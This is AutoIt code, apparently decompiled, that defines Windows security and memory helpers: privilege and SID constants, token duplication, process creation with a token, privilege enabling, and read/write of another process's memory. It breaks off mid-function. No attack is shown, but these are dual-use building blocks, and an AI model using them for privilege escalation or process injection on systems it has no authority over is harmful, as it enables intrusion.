GLOBAL CONST $PROCESS_CREATE_PROCESS = 128
GLOBAL CONST $PROCESS_SET_QUOTA = 256
GLOBAL CONST $PROCESS_SET_INFORMATION = 512
GLOBAL CONST $PROCESS_QUERY_INFORMATION = 1024
GLOBAL CONST $PROCESS_QUERY_LIMITED_INFORMATION = 4096
GLOBAL CONST $PROCESS_SUSPEND_RESUME = 2048
GLOBAL CONST $PROCESS_ALL_ACCESS = 2035711
GLOBAL CONST $SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"
GLOBAL CONST $SE_AUDIT_NAME = "SeAuditPrivilege"
GLOBAL CONST $SE_BACKUP_NAME = "SeBackupPrivilege"
GLOBAL CONST $SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege"
GLOBAL CONST $SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"
GLOBAL CONST $SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege"
GLOBAL CONST $SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege"
GLOBAL CONST $SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege"
GLOBAL CONST $SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege"
GLOBAL CONST $SE_DEBUG_NAME = "SeDebugPrivilege"
GLOBAL CONST $SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege"
GLOBAL CONST $SE_IMPERSONATE_NAME = "SeImpersonatePrivilege"
GLOBAL CONST $SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege"
GLOBAL CONST $SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege"
GLOBAL CONST $SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"
GLOBAL CONST $SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege"
GLOBAL CONST $SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege"
GLOBAL CONST $SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege"
GLOBAL CONST $SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege"
GLOBAL CONST $SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege"
GLOBAL CONST $SE_RELABEL_NAME = "SeRelabelPrivilege"
GLOBAL CONST $SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"
GLOBAL CONST $SE_RESTORE_NAME = "SeRestorePrivilege"
GLOBAL CONST $SE_SECURITY_NAME = "SeSecurityPrivilege"
GLOBAL CONST $SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
GLOBAL CONST $SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege"
GLOBAL CONST $SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege"
GLOBAL CONST $SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege"
GLOBAL CONST $SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege"
GLOBAL CONST $SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege"
GLOBAL CONST $SE_TCB_NAME = "SeTcbPrivilege"
GLOBAL CONST $SE_TIME_ZONE_NAME = "SeTimeZonePrivilege"
GLOBAL CONST $SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"
GLOBAL CONST $SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
GLOBAL CONST $SE_UNDOCK_NAME = "SeUndockPrivilege"
GLOBAL CONST $SE_PRIVILEGE_ENABLED_BY_DEFAULT = 1
GLOBAL CONST $SE_PRIVILEGE_ENABLED = 2
GLOBAL CONST $SE_PRIVILEGE_REMOVED = 4
GLOBAL CONST $SE_PRIVILEGE_USED_FOR_ACCESS = 2147483648
GLOBAL CONST $SE_GROUP_MANDATORY = 1
GLOBAL CONST $SE_GROUP_ENABLED_BY_DEFAULT = 2
GLOBAL CONST $SE_GROUP_ENABLED = 4
GLOBAL CONST $SE_GROUP_OWNER = 8
GLOBAL CONST $SE_GROUP_USE_FOR_DENY_ONLY = 16
GLOBAL CONST $SE_GROUP_INTEGRITY = 32
GLOBAL CONST $SE_GROUP_INTEGRITY_ENABLED = 64
GLOBAL CONST $SE_GROUP_RESOURCE = 536870912
GLOBAL CONST $SE_GROUP_LOGON_ID = 3221225472
GLOBAL ENUM $TOKENPRIMARY = 1 , $TOKENIMPERSONATION
GLOBAL ENUM $SECURITYANONYMOUS = 0 , $SECURITYIDENTIFICATION , $SECURITYIMPERSONATION , $SECURITYDELEGATION
GLOBAL ENUM $TOKENUSER = 1 , $TOKENGROUPS , $TOKENPRIVILEGES , $TOKENOWNER , $TOKENPRIMARYGROUP , $TOKENDEFAULTDACL , $TOKENSOURCE , $TOKENTYPE , $TOKENIMPERSONATIONLEVEL , $TOKENSTATISTICS , $TOKENRESTRICTEDSIDS , $TOKENSESSIONID , $TOKENGROUPSANDPRIVILEGES , $TOKENSESSIONREFERENCE , $TOKENSANDBOXINERT , $TOKENAUDITPOLICY , $TOKENORIGIN , $TOKENELEVATIONTYPE , $TOKENLINKEDTOKEN , $TOKENELEVATION , $TOKENHASRESTRICTIONS , $TOKENACCESSINFORMATION , $TOKENVIRTUALIZATIONALLOWED , $TOKENVIRTUALIZATIONENABLED , $TOKENINTEGRITYLEVEL , $TOKENUIACCESS , $TOKENMANDATORYPOLICY , $TOKENLOGONSID
GLOBAL CONST $TOKEN_ASSIGN_PRIMARY = 1
GLOBAL CONST $TOKEN_DUPLICATE = 2
GLOBAL CONST $TOKEN_IMPERSONATE = 4
GLOBAL CONST $TOKEN_QUERY = 8
GLOBAL CONST $TOKEN_QUERY_SOURCE = 16
GLOBAL CONST $TOKEN_ADJUST_PRIVILEGES = 32
GLOBAL CONST $TOKEN_ADJUST_GROUPS = 64
GLOBAL CONST $TOKEN_ADJUST_DEFAULT = 128
GLOBAL CONST $TOKEN_ADJUST_SESSIONID = 256
GLOBAL CONST $TOKEN_ALL_ACCESS = 983551
GLOBAL CONST $TOKEN_READ = 131080
GLOBAL CONST $TOKEN_WRITE = 131296
GLOBAL CONST $TOKEN_EXECUTE = 131072
GLOBAL CONST $TOKEN_HAS_TRAVERSE_PRIVILEGE = 1
GLOBAL CONST $TOKEN_HAS_BACKUP_PRIVILEGE = 2
GLOBAL CONST $TOKEN_HAS_RESTORE_PRIVILEGE = 4
GLOBAL CONST $TOKEN_HAS_ADMIN_GROUP = 8
GLOBAL CONST $TOKEN_IS_RESTRICTED = 16
GLOBAL CONST $TOKEN_SESSION_NOT_REFERENCED = 32
GLOBAL CONST $TOKEN_SANDBOX_INERT = 64
GLOBAL CONST $TOKEN_HAS_IMPERSONATE_PRIVILEGE = 128
GLOBAL CONST $RIGHTS_DELETE = 65536
GLOBAL CONST $READ_CONTROL = 131072
GLOBAL CONST $WRITE_DAC = 262144
GLOBAL CONST $WRITE_OWNER = 524288
GLOBAL CONST $SYNCHRONIZE = 1048576
GLOBAL CONST $ACCESS_SYSTEM_SECURITY = 16777216
GLOBAL CONST $STANDARD_RIGHTS_REQUIRED = 983040
GLOBAL CONST $STANDARD_RIGHTS_READ = $READ_CONTROL
GLOBAL CONST $STANDARD_RIGHTS_WRITE = $READ_CONTROL
GLOBAL CONST $STANDARD_RIGHTS_EXECUTE = $READ_CONTROL
GLOBAL CONST $STANDARD_RIGHTS_ALL = 2031616
GLOBAL CONST $SPECIFIC_RIGHTS_ALL = 65535
GLOBAL ENUM $NOT_USED_ACCESS = 0 , $GRANT_ACCESS , $SET_ACCESS , $DENY_ACCESS , $REVOKE_ACCESS , $SET_AUDIT_SUCCESS , $SET_AUDIT_FAILURE
GLOBAL ENUM $TRUSTEE_IS_UNKNOWN = 0 , $TRUSTEE_IS_USER , $TRUSTEE_IS_GROUP , $TRUSTEE_IS_DOMAIN , $TRUSTEE_IS_ALIAS , $TRUSTEE_IS_WELL_KNOWN_GROUP , $TRUSTEE_IS_DELETED , $TRUSTEE_IS_INVALID , $TRUSTEE_IS_COMPUTER
GLOBAL CONST $LOGON_WITH_PROFILE = 1
GLOBAL CONST $LOGON_NETCREDENTIALS_ONLY = 2
GLOBAL ENUM $SIDTYPEUSER = 1 , $SIDTYPEGROUP , $SIDTYPEDOMAIN , $SIDTYPEALIAS , $SIDTYPEWELLKNOWNGROUP , $SIDTYPEDELETEDACCOUNT , $SIDTYPEINVALID , $SIDTYPEUNKNOWN , $SIDTYPECOMPUTER , $SIDTYPELABEL
GLOBAL CONST $SID_ADMINISTRATORS = "S-1-5-32-544"
GLOBAL CONST $SID_USERS = "S-1-5-32-545"
GLOBAL CONST $SID_GUESTS = "S-1-5-32-546"
GLOBAL CONST $SID_ACCOUNT_OPERATORS = "S-1-5-32-548"
GLOBAL CONST $SID_SERVER_OPERATORS = "S-1-5-32-549"
GLOBAL CONST $SID_PRINT_OPERATORS = "S-1-5-32-550"
GLOBAL CONST $SID_BACKUP_OPERATORS = "S-1-5-32-551"
GLOBAL CONST $SID_REPLICATOR = "S-1-5-32-552"
GLOBAL CONST $SID_OWNER = "S-1-3-0"
GLOBAL CONST $SID_EVERYONE = "S-1-1-0"
GLOBAL CONST $SID_NETWORK = "S-1-5-2"
GLOBAL CONST $SID_INTERACTIVE = "S-1-5-4"
GLOBAL CONST $SID_SYSTEM = "S-1-5-18"
GLOBAL CONST $SID_AUTHENTICATED_USERS = "S-1-5-11"
GLOBAL CONST $SID_SCHANNEL_AUTHENTICATION = "S-1-5-64-14"
GLOBAL CONST $SID_DIGEST_AUTHENTICATION = "S-1-5-64-21"
GLOBAL CONST $SID_NT_SERVICE = "S-1-5-80"
GLOBAL CONST $SID_UNTRUSTED_MANDATORY_LEVEL = "S-1-16-0"
GLOBAL CONST $SID_LOW_MANDATORY_LEVEL = "S-1-16-4096"
GLOBAL CONST $SID_MEDIUM_MANDATORY_LEVEL = "S-1-16-8192"
GLOBAL CONST $SID_MEDIUM_PLUS_MANDATORY_LEVEL = "S-1-16-8448"
GLOBAL CONST $SID_HIGH_MANDATORY_LEVEL = "S-1-16-12288"
GLOBAL CONST $SID_SYSTEM_MANDATORY_LEVEL = "S-1-16-16384"
GLOBAL CONST $SID_PROTECTED_PROCESS_MANDATORY_LEVEL = "S-1-16-20480"
GLOBAL CONST $SID_SECURE_PROCESS_MANDATORY_LEVEL = "S-1-16-28672"
GLOBAL CONST $SID_ALL_SERVICES = "S-1-5-80-0"
FUNC _SECURITY__ADJUSTTOKENPRIVILEGES ($HTOKEN , $BDISABLEALL , $TNEWSTATE , $IBUFFERLEN , $TPREVSTATE = 0 , $PREQUIRED = 0 )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "AdjustTokenPrivileges" , "handle" , $HTOKEN , "bool" , $BDISABLEALL , "struct*" , $TNEWSTATE , "dword" , $IBUFFERLEN , "struct*" , $TPREVSTATE , "struct*" , $PREQUIRED )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN NOT ($ACALL [0 ] = 0 )
ENDFUNC
FUNC _SECURITY__CREATEPROCESSWITHTOKEN ($HTOKEN , $ILOGONFLAGS , $SCOMMANDLINE , $ICREATIONFLAGS , $SCURDIR , $TSTARTUPINFO , $TPROCESS_INFORMATION )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "CreateProcessWithTokenW" , "handle" , $HTOKEN , "dword" , $ILOGONFLAGS , "ptr" , 0 , "wstr" , $SCOMMANDLINE , "dword" , $ICREATIONFLAGS , "struct*" , 0 , "wstr" , $SCURDIR , "struct*" , $TSTARTUPINFO , "struct*" , $TPROCESS_INFORMATION )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN TRUE
ENDFUNC
FUNC _SECURITY__DUPLICATETOKENEX ($HEXISTINGTOKEN , $IDESIREDACCESS , $IIMPERSONATIONLEVEL , $ITOKENTYPE )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "DuplicateTokenEx" , "handle" , $HEXISTINGTOKEN , "dword" , $IDESIREDACCESS , "struct*" , 0 , "int" , $IIMPERSONATIONLEVEL , "int" , $ITOKENTYPE , "handle*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ACALL [6 ]
ENDFUNC
FUNC _SECURITY__GETACCOUNTSID ($SACCOUNT , $SSYSTEM = "" )
LOCAL $AACCT = _SECURITY__LOOKUPACCOUNTNAME ($SACCOUNT , $SSYSTEM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF ISARRAY ($AACCT ) THEN RETURN _SECURITY__STRINGSIDTOSID ($AACCT [0 ] )
RETURN ""
ENDFUNC
FUNC _SECURITY__GETLENGTHSID ($PSID )
IF NOT _SECURITY__ISVALIDSID ($PSID ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "dword" , "GetLengthSid" , "struct*" , $PSID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ACALL [0 ]
ENDFUNC
FUNC _SECURITY__GETTOKENINFORMATION ($HTOKEN , $ICLASS )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "GetTokenInformation" , "handle" , $HTOKEN , "int" , $ICLASS , "struct*" , 0 , "dword" , 0 , "dword*" , 0 )
IF @ERROR OR NOT $ACALL [5 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ILEN = $ACALL [5 ]
LOCAL $TBUFFER = DLLSTRUCTCREATE ("byte[" & $ILEN & "]" )
$ACALL = DLLCALL ("advapi32.dll" , "bool" , "GetTokenInformation" , "handle" , $HTOKEN , "int" , $ICLASS , "struct*" , $TBUFFER , "dword" , DLLSTRUCTGETSIZE ($TBUFFER ) , "dword*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $TBUFFER
ENDFUNC
FUNC _SECURITY__IMPERSONATESELF ($ILEVEL = $SECURITYIMPERSONATION )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "ImpersonateSelf" , "int" , $ILEVEL )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN NOT ($ACALL [0 ] = 0 )
ENDFUNC
FUNC _SECURITY__ISVALIDSID ($PSID )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "IsValidSid" , "struct*" , $PSID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN NOT ($ACALL [0 ] = 0 )
ENDFUNC
FUNC _SECURITY__LOOKUPACCOUNTNAME ($SACCOUNT , $SSYSTEM = "" )
LOCAL $TDATA = DLLSTRUCTCREATE ("byte SID[256]" )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "LookupAccountNameW" , "wstr" , $SSYSTEM , "wstr" , $SACCOUNT , "struct*" , $TDATA , "dword*" , DLLSTRUCTGETSIZE ($TDATA ) , "wstr" , "" , "dword*" , DLLSTRUCTGETSIZE ($TDATA ) , "int*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $AACCT [3 ]
$AACCT [0 ] = _SECURITY__SIDTOSTRINGSID (DLLSTRUCTGETPTR ($TDATA , "SID" ) )
$AACCT [1 ] = $ACALL [5 ]
$AACCT [2 ] = $ACALL [7 ]
RETURN $AACCT
ENDFUNC
FUNC _SECURITY__LOOKUPACCOUNTSID ($VSID , $SSYSTEM = "" )
LOCAL $PSID , $AACCT [3 ]
IF ISSTRING ($VSID ) THEN
$PSID = _SECURITY__STRINGSIDTOSID ($VSID )
ELSE
$PSID = $VSID
ENDIF
IF NOT _SECURITY__ISVALIDSID ($PSID ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $STYPESYSTEM = "ptr"
IF $SSYSTEM THEN $STYPESYSTEM = "wstr"
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "LookupAccountSidW" , $STYPESYSTEM , $SSYSTEM , "struct*" , $PSID , "wstr" , "" , "dword*" , 65536 , "wstr" , "" , "dword*" , 65536 , "int*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $AACCT [3 ]
$AACCT [0 ] = $ACALL [3 ]
$AACCT [1 ] = $ACALL [5 ]
$AACCT [2 ] = $ACALL [7 ]
RETURN $AACCT
ENDFUNC
FUNC _SECURITY__LOOKUPPRIVILEGEVALUE ($SSYSTEM , $SNAME )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "LookupPrivilegeValueW" , "wstr" , $SSYSTEM , "wstr" , $SNAME , "int64*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ACALL [3 ]
ENDFUNC
FUNC _SECURITY__OPENPROCESSTOKEN ($HPROCESS , $IACCESS )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "OpenProcessToken" , "handle" , $HPROCESS , "dword" , $IACCESS , "handle*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ACALL [3 ]
ENDFUNC
FUNC _SECURITY__OPENTHREADTOKEN ($IACCESS , $HTHREAD = 0 , $BOPENASSELF = FALSE )
IF $HTHREAD = 0 THEN
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetCurrentThread" )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
$HTHREAD = $ARESULT [0 ]
ENDIF
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "OpenThreadToken" , "handle" , $HTHREAD , "dword" , $IACCESS , "bool" , $BOPENASSELF , "handle*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ACALL [4 ]
ENDFUNC
FUNC _SECURITY__OPENTHREADTOKENEX ($IACCESS , $HTHREAD = 0 , $BOPENASSELF = FALSE )
LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKEN ($IACCESS , $HTHREAD , $BOPENASSELF )
IF $HTOKEN = 0 THEN
LOCAL CONST $ERROR_NO_TOKEN = 1008
IF _WINAPI_GETLASTERROR () <> $ERROR_NO_TOKEN THEN RETURN SETERROR (20 , _WINAPI_GETLASTERROR () , 0 )
IF NOT _SECURITY__IMPERSONATESELF () THEN RETURN SETERROR (@ERROR + 10 , _WINAPI_GETLASTERROR () , 0 )
$HTOKEN = _SECURITY__OPENTHREADTOKEN ($IACCESS , $HTHREAD , $BOPENASSELF )
IF $HTOKEN = 0 THEN RETURN SETERROR (@ERROR , _WINAPI_GETLASTERROR () , 0 )
ENDIF
RETURN $HTOKEN
ENDFUNC
FUNC _SECURITY__SETPRIVILEGE ($HTOKEN , $SPRIVILEGE , $BENABLE )
LOCAL $ILUID = _SECURITY__LOOKUPPRIVILEGEVALUE ("" , $SPRIVILEGE )
IF $ILUID = 0 THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE )
LOCAL CONST $TAGTOKEN_PRIVILEGES = "dword Count;align 4;int64 LUID;dword Attributes"
LOCAL $TCURRSTATE = DLLSTRUCTCREATE ($TAGTOKEN_PRIVILEGES )
LOCAL $ICURRSTATE = DLLSTRUCTGETSIZE ($TCURRSTATE )
LOCAL $TPREVSTATE = DLLSTRUCTCREATE ($TAGTOKEN_PRIVILEGES )
LOCAL $IPREVSTATE = DLLSTRUCTGETSIZE ($TPREVSTATE )
LOCAL $TREQUIRED = DLLSTRUCTCREATE ("int Data" )
DLLSTRUCTSETDATA ($TCURRSTATE , "Count" , 1 )
DLLSTRUCTSETDATA ($TCURRSTATE , "LUID" , $ILUID )
IF NOT _SECURITY__ADJUSTTOKENPRIVILEGES ($HTOKEN , FALSE , $TCURRSTATE , $ICURRSTATE , $TPREVSTATE , $TREQUIRED ) THEN RETURN SETERROR (2 , @ERROR , FALSE )
DLLSTRUCTSETDATA ($TPREVSTATE , "Count" , 1 )
DLLSTRUCTSETDATA ($TPREVSTATE , "LUID" , $ILUID )
LOCAL $IATTRIBUTES = DLLSTRUCTGETDATA ($TPREVSTATE , "Attributes" )
IF $BENABLE THEN
$IATTRIBUTES = BITOR ($IATTRIBUTES , $SE_PRIVILEGE_ENABLED )
ELSE
$IATTRIBUTES = BITAND ($IATTRIBUTES , BITNOT ($SE_PRIVILEGE_ENABLED ) )
ENDIF
DLLSTRUCTSETDATA ($TPREVSTATE , "Attributes" , $IATTRIBUTES )
IF NOT _SECURITY__ADJUSTTOKENPRIVILEGES ($HTOKEN , FALSE , $TPREVSTATE , $IPREVSTATE , $TCURRSTATE , $TREQUIRED ) THEN RETURN SETERROR (3 , @ERROR , FALSE )
RETURN TRUE
ENDFUNC
FUNC _SECURITY__SETTOKENINFORMATION ($HTOKEN , $ITOKENINFORMATION , $VTOKENINFORMATION , $ITOKENINFORMATIONLENGTH )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "SetTokenInformation" , "handle" , $HTOKEN , "int" , $ITOKENINFORMATION , "struct*" , $VTOKENINFORMATION , "dword" , $ITOKENINFORMATIONLENGTH )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN TRUE
ENDFUNC
FUNC _SECURITY__SIDTOSTRINGSID ($PSID )
IF NOT _SECURITY__ISVALIDSID ($PSID ) THEN RETURN SETERROR (@ERROR + 10 , 0 , "" )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "ConvertSidToStringSidW" , "struct*" , $PSID , "ptr*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
LOCAL $PSTRINGSID = $ACALL [2 ]
LOCAL $ALEN = DLLCALL ("kernel32.dll" , "int" , "lstrlenW" , "struct*" , $PSTRINGSID )
LOCAL $SSID = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar Text[" & $ALEN [0 ] + 1 & "]" , $PSTRINGSID ) , "Text" )
DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $PSTRINGSID )
RETURN $SSID
ENDFUNC
FUNC _SECURITY__SIDTYPESTR ($ITYPE )
SWITCH $ITYPE
CASE $SIDTYPEUSER
RETURN "User"
CASE $SIDTYPEGROUP
RETURN "Group"
CASE $SIDTYPEDOMAIN
RETURN "Domain"
CASE $SIDTYPEALIAS
RETURN "Alias"
CASE $SIDTYPEWELLKNOWNGROUP
RETURN "Well Known Group"
CASE $SIDTYPEDELETEDACCOUNT
RETURN "Deleted Account"
CASE $SIDTYPEINVALID
RETURN "Invalid"
CASE $SIDTYPEUNKNOWN
RETURN "Unknown Type"
CASE $SIDTYPECOMPUTER
RETURN "Computer"
CASE $SIDTYPELABEL
RETURN "A mandatory integrity label SID"
CASE ELSE
RETURN "Unknown SID Type"
ENDSWITCH
ENDFUNC
FUNC _SECURITY__STRINGSIDTOSID ($SSID )
LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "ConvertStringSidToSidW" , "wstr" , $SSID , "ptr*" , 0 )
IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $PSID = $ACALL [2 ]
LOCAL $TBUFFER = DLLSTRUCTCREATE ("byte Data[" & _SECURITY__GETLENGTHSID ($PSID ) & "]" , $PSID )
LOCAL $TSID = DLLSTRUCTCREATE ("byte Data[" & DLLSTRUCTGETSIZE ($TBUFFER ) & "]" )
DLLSTRUCTSETDATA ($TSID , "Data" , DLLSTRUCTGETDATA ($TBUFFER , "Data" ) )
DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $PSID )
RETURN $TSID
ENDFUNC
GLOBAL CONST $TAGMEMMAP = "handle hProc;ulong_ptr Size;ptr Mem"
FUNC _MEMFREE (BYREF $TMEMMAP )
LOCAL $PMEMORY = DLLSTRUCTGETDATA ($TMEMMAP , "Mem" )
LOCAL $HPROCESS = DLLSTRUCTGETDATA ($TMEMMAP , "hProc" )
LOCAL $BRESULT = _MEMVIRTUALFREEEX ($HPROCESS , $PMEMORY , 0 , $MEM_RELEASE )
DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HPROCESS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $BRESULT
ENDFUNC
FUNC _MEMGLOBALALLOC ($IBYTES , $IFLAGS = 0 )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GlobalAlloc" , "uint" , $IFLAGS , "ulong_ptr" , $IBYTES )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMGLOBALFREE ($HMEMORY )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "GlobalFree" , "handle" , $HMEMORY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMGLOBALLOCK ($HMEMORY )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "GlobalLock" , "handle" , $HMEMORY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMGLOBALSIZE ($HMEMORY )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ulong_ptr" , "GlobalSize" , "handle" , $HMEMORY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMGLOBALUNLOCK ($HMEMORY )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GlobalUnlock" , "handle" , $HMEMORY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMINIT ($HWND , $ISIZE , BYREF $TMEMMAP )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "dword" , "GetWindowThreadProcessId" , "hwnd" , $HWND , "dword*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $IPROCESSID = $ARESULT [2 ]
IF $IPROCESSID = 0 THEN RETURN SETERROR (1 , 0 , 0 )
LOCAL $IACCESS = BITOR ($PROCESS_VM_OPERATION , $PROCESS_VM_READ , $PROCESS_VM_WRITE )
LOCAL $HPROCESS = __MEM_OPENPROCESS ($IACCESS , FALSE , $IPROCESSID , TRUE )
LOCAL $IALLOC = BITOR ($MEM_RESERVE , $MEM_COMMIT )
LOCAL $PMEMORY = _MEMVIRTUALALLOCEX ($HPROCESS , 0 , $ISIZE , $IALLOC , $PAGE_READWRITE )
IF $PMEMORY = 0 THEN RETURN SETERROR (2 , 0 , 0 )
$TMEMMAP = DLLSTRUCTCREATE ($TAGMEMMAP )
DLLSTRUCTSETDATA ($TMEMMAP , "hProc" , $HPROCESS )
DLLSTRUCTSETDATA ($TMEMMAP , "Size" , $ISIZE )
DLLSTRUCTSETDATA ($TMEMMAP , "Mem" , $PMEMORY )
RETURN $PMEMORY
ENDFUNC
FUNC _MEMMOVEMEMORY ($PSOURCE , $PDEST , $ILENGTH )
DLLCALL ("kernel32.dll" , "none" , "RtlMoveMemory" , "struct*" , $PDEST , "struct*" , $PSOURCE , "ulong_ptr" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED )
ENDFUNC
FUNC _MEMREAD (BYREF $TMEMMAP , $PSRCE , $PDEST , $ISIZE )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "ReadProcessMemory" , "handle" , DLLSTRUCTGETDATA ($TMEMMAP , "hProc" ) , "ptr" , $PSRCE , "struct*" , $PDEST , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMWRITE (BYREF $TMEMMAP , $PSRCE , $PDEST = 0 , $ISIZE = 0 , $SSRCE = "struct*" )
IF $PDEST = 0 THEN $PDEST = DLLSTRUCTGETDATA ($TMEMMAP , "Mem" )
IF $ISIZE = 0 THEN $ISIZE = DLLSTRUCTGETDATA ($TMEMMAP , "Size" )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "WriteProcessMemory" , "handle" , DLLSTRUCTGETDATA ($TMEMMAP , "hProc" ) , "ptr" , $PDEST , $SSRCE , $PSRCE , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMVIRTUALALLOC ($PADDRESS , $ISIZE , $IALLOCATION , $IPROTECT )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "VirtualAlloc" , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IALLOCATION , "dword" , $IPROTECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMVIRTUALALLOCEX ($HPROCESS , $PADDRESS , $ISIZE , $IALLOCATION , $IPROTECT )
